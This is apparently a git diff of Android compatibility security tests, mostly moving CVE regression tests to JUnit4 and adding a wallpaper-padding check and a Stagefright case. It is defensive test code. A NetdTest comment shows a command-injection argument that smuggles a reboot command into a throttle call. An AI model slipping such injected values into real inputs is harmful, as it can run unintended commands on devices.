+ @Test
public void test_android_bug_33897722() {
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@ public class Movie33897722 extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 37662286)
+ @Test
public void test_android_bug_37662286() {
// The image has a background color that is out of range. Arbitrarily test
// the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@ public class Movie33897722 extends AndroidTestCase {
int drawWidth, int drawHeight) {
assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
Movie movie = Movie.decodeStream(exploitImage);
assertNotNull(movie);
assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754cfbb7..135d4935a55 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
package android.security.cts;
-import android.test.AndroidTestCase;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
@@ -49,12 +48,23 @@ import android.os.SystemClock;
import android.util.Log;
import android.annotation.Nullable;
import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import static java.lang.Thread.sleep;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
@AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
+ private Context mContext;
private static final String TAG = "NanoAppBundleTest";
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -72,27 +82,27 @@ public class NanoAppBundleTest extends AndroidTestCase {
}
};
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getContext();
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.startService(serviceIntent);
mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (mContext != null) {
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.stopService(serviceIntent);
}
- super.tearDown();
}
/**
* b/113527124
*/
@AsbSecurityTest(cveBugId = 77599679)
+ @Test
public void testPoc_cve_2018_9471() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac2504..53c05c0e53e 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
@AsbSecurityTest(cveBugId = 22300191)
+ @Test
public void testSysVipc() throws Exception {
assertTrue("Android does not support Sys V IPC, it must "
+ "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd4085..463d443dc82 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@ import android.os.Binder;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.lang.Class;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
/**
* Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@ public class NetdTest extends TestCase {
* serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
*/
@AsbSecurityTest(cveBugId = 5758556)
+ @Test
public void testThrottleSanitization() {
try {
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817c650..f68c097686d 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.SurfaceTexture;
import android.hardware.camera2.params.OutputConfiguration;
import android.os.Parcel;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.util.Size;
import android.view.Surface;
import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
/**
* Verify that OutputConfiguration's fields propagate through parcel properly.
*/
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 69683251)
+ @Test
public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e5301be7..d2d70d85e59 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
@@ -26,13 +27,21 @@ import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.lang.reflect.Field;
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 65281159)
+ @Test
public void test_CVE_2017_0871() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85e063..4667859957e 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Method;
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+ @Test
@AsbSecurityTest(cveBugId = 22802399)
public void testCrash() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc0265..293200e5541 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@ package android.security.cts;
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.util.List;
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
/*
* This test verifies severity vulnerability: apps can bypass the L restrictions in
* getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@ public class RunningAppProcessInfoTest extends AndroidTestCase {
*/
@AsbSecurityTest(cveBugId = 20034603)
+ @Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
// The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d40a41..84d36fa0a7a 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@ import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.platform.test.annotations.AsbSecurityTest;
import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileInputStream;
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
private static final String DATABASE_FILE_NAME = "database_test.db";
private ContentResolver mResolver;
@@ -44,9 +51,8 @@ public class SQLiteTest extends AndroidTestCase {
private SQLiteDatabase mDatabase;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResolver = getContext().getContentResolver();
mContext = InstrumentationRegistry.getTargetContext();
mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@ public class SQLiteTest extends AndroidTestCase {
* b/139186193
*/
@AsbSecurityTest(cveBugId = 139186193)
+ @Test
public void test_android_cve_2019_2195() {
Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@ public class SQLiteTest extends AndroidTestCase {
* b/153352319
*/
@AsbSecurityTest(cveBugId = 153352319)
+ @Test
public void test_android_float_to_text_conversion_overflow() {
String create_cmd = "select (printf('%.2147483647G',0.01));";
try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c87e3..2765de4ac52 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class STKFrameworkTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
private boolean mHasTelephony;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mHasTelephony = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_TELEPHONY);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
/*
* Verifies commands Intercepting which has been sent from SIM card to Telephony using
* zero-permission malicious application
*/
@AsbSecurityTest(cveBugId = 21697171)
+ @Test
public void testInterceptedSIMCommandsToTelephony() {
if (!mHasTelephony) {
return;
@@ -54,7 +56,7 @@ public class STKFrameworkTest extends AndroidTestCase {
ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
intent.setComponent(cn);
try {
- mContext.sendBroadcast(intent);
+ getInstrumentation().getContext().sendBroadcast(intent);
fail("Able to send broadcast which can be received by any app which has registered " +
"broadcast for action 'com.android.internal.stk.command' since it is not " +
"protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802fc307..de6a9ac2707 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.io.InputStream;
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 73782357)
+ @Test
public void testAndroid_cve_2017_13318() {
doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
}
@AsbSecurityTest(cveBugId = 17262540)
+ @Test
public void test_android_bug_17262540() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
}
@AsbSecurityTest(cveBugId = 17265466)
+ @Test
public void test_android_bug_17265466() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
}
@@ -47,7 +54,7 @@ public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
* Verifies that the device prevents recursive decoding of malformed ICO files
*/
public void doSkiaIcoRecursiveDecodingTest(int resId) {
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
* while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2ce614..af5fb29dcb5 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
*/
package android.security.cts;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@ import static org.junit.Assert.*;
*/
@AppModeFull
@RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
static final String TAG = "StagefrightTest";
- private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
@Rule public TestName name = new TestName();
- @Before
- public void setup() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
-
class CodecConfig {
boolean isAudio;
/* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@ public class StagefrightTest {
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 157906313)
+ public void testStagefright_cve_2020_11135() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11135);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 136175447)
public void testStagefright_cve_2019_2186() throws Exception {
long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@ public class StagefrightTest {
assertFalse(hung);
}
-
- private Instrumentation getInstrumentation() {
- return mInstrumentation;
- }
}
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534774a..945d1190f20 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.media.audiofx.AudioEffect;
import android.media.MediaPlayer;
import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.UUID;
+import static org.junit.Assert.*;
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
private String TAG = "VisualizerEffectTest";
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
//Testing security bug: 30229821
+ @Test
@AsbSecurityTest(cveBugId = 30229821)
public void testVisualizer_MalformedConstructor() throws Exception {
final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@ public class VisualizerEffectTest extends AndroidTestCase {
Log.w(TAG,"No visualizer found to test");
}
}
-} \ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 00000000000..fda462b9cd5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class WallpaperManagerTest extends CtsAndroidTestCase {
+
+ @Before
+ public void setUp() {
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ // b/204316511
+ @AsbSecurityTest(cveBugId = 204316511)
+ public void testSetDisplayPadding() {
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+
+ Rect validRect = new Rect(1, 1, 1, 1);
+ // This should work, no exception expected
+ wallpaperManager.setDisplayPadding(validRect);
+
+ Rect negativeRect = new Rect(-1, 0 , 0, 0);
+ try {
+ wallpaperManager.setDisplayPadding(negativeRect);
+ fail("setDisplayPadding should fail for a Rect with negative values");
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+
+ DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+ Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+ Context windowContext = getContext().createWindowContext(primaryDisplay,
+ TYPE_APPLICATION, null);
+ Display display = windowContext.getDisplay();
+
+ Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+ try {
+ wallpaperManager.setDisplayPadding(tooWideRect);
+ fail("setDisplayPadding should fail for a Rect width larger than "
+ + display.getMaximumSizeDimension());
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+
+ Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+ try {
+ wallpaperManager.setDisplayPadding(tooHighRect);
+ fail("setDisplayPadding should fail for a Rect height larger than "
+ + display.getMaximumSizeDimension());
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5e183..af28a547ce8 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a zero height tiff file.
*
* Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
* With the fix, decoding will fail, without dividing by zero.
*/
+ @Test
@AsbSecurityTest(cveBugId = 33300701)
public void test_android_bug_33300701() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS
index 8824b03b54e..20c32c21ec5 100644
--- a/tests/tests/selinux/OWNERS
+++ b/tests/tests/selinux/OWNERS
@@ -1,4 +1,3 @@
# Bug component: 85141
jeffv@google.com
jgalenson@google.com
-nnk@google.com
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
index b6103c8488b..ea0e789259d 100644
--- a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -67,6 +67,13 @@ public class SettingsMultiPaneDeepLinkTest {
assumeFalse("Skipping test: The device does not support Activity embedding",
!mIsSplitSupported && mDeepLinkIntentResolveInfo == null);
+
+ // TODO(b/214606992): Remove this check once automotive support was implemented.
+ assumeFalse("Skipping test: not supported on automotive yet",
+ mDeepLinkIntentResolveInfo == null
+ && InstrumentationRegistry.getInstrumentation().getContext()
+ .getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
}
@Test
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 0d28f65c5c2..fc48c72c684 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -19,8 +19,10 @@ package {
android_test {
name: "CtsSystemUiTestCases",
defaults: ["cts_defaults"],
+ min_sdk_version: "27",
test_suites: [
"cts",
+ "gts",
"general-tests",
],
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f13c5..c1c0a317b0c 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -18,6 +18,9 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.systemui.cts"
android:targetSandboxVersion="2">
+
+ <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17" />
+
<uses-permission android:name="android.permission.INJECT_EVENTS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.READ_DREAM_STATE"/>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 74876ae668e..7a848572ebc 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS SystemUI test cases">
<option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="sysui" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
index 3737637a15d..41b247c86f1 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
@@ -24,6 +24,7 @@ android_test_helper_app {
// tag this module as a cts test artifact
test_suites: [
"cts",
+ "gts",
"vts10",
"general-tests",
],
diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
index af7f01c1e22..76b1250b1af 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
@@ -24,6 +24,7 @@ android_test_helper_app {
// tag this module as a cts test artifact
test_suites: [
"cts",
+ "gts",
"vts10",
"general-tests",
],
diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp
index b8219c803f6..5b7b4d9cd72 100644
--- a/tests/tests/systemui/PipTestApp/Android.bp
+++ b/tests/tests/systemui/PipTestApp/Android.bp
@@ -36,6 +36,7 @@ android_test_helper_app {
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "gts",
"vts10",
"general-tests",
],
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index b5e657c00fd..1f0369ab38f 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -46,6 +46,7 @@ import android.graphics.Insets;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
+import android.os.Build;
import android.os.Bundle;
import android.provider.DeviceConfig;
import android.support.test.uiautomator.By;
@@ -64,6 +65,8 @@ import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
@@ -600,9 +603,11 @@ public class WindowInsetsBehaviorTests {
/**
* @throws Throwable when setting the property goes wrong.
*/
+ @CtsDownstreamingTest
@Test
public void systemGesture_excludeViewRects_withoutAnyCancel()
throws Throwable {
+ assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
assumeTrue(hasSystemGestureFeature());
mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
@@ -635,8 +640,10 @@ public class WindowInsetsBehaviorTests {
assertEquals(swipeCount[0], mActionDownPoints.size());
}
+ @CtsDownstreamingTest
@Test
public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
+ assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
assumeTrue(hasSystemGestureFeature());
mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b36904..1b1d48ea3a1 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
</intent-filter>
</service>
+ <service android:name="android.telecom.cts.NullBindingConnectionService"
+ android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.ConnectionService"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
